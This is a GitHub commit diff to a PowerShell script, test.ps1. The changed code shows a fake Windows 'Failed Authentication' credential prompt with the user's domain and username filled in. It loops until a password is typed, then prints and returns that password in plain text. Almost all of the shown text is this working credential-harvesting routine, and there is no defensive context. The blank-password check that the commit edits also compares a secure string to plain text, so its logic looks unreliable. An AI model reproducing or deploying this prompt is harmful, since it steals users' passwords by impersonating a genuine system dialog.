Update test.ps1

This commit is contained in:
I-Am-Jakoby
2023-01-03 20:17:47 -06:00
committed by GitHub
parent ad5f787a55
commit f4e5f1cfac
+5 -3
View File
@@ -55,14 +55,16 @@ while ($form -eq $null)
{
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
if ($cred.Password -eq "")
if ($cred.Password -eq " ")
{
Write-Output "Credentials cannot be left blank. Please try again."
$cred = $null
}
else{$creds = $cred.GetNetworkCredential() | fl
return $creds}
else{
$creds = $cred.GetNetworkCredential() | fl
return $creds
}
}
}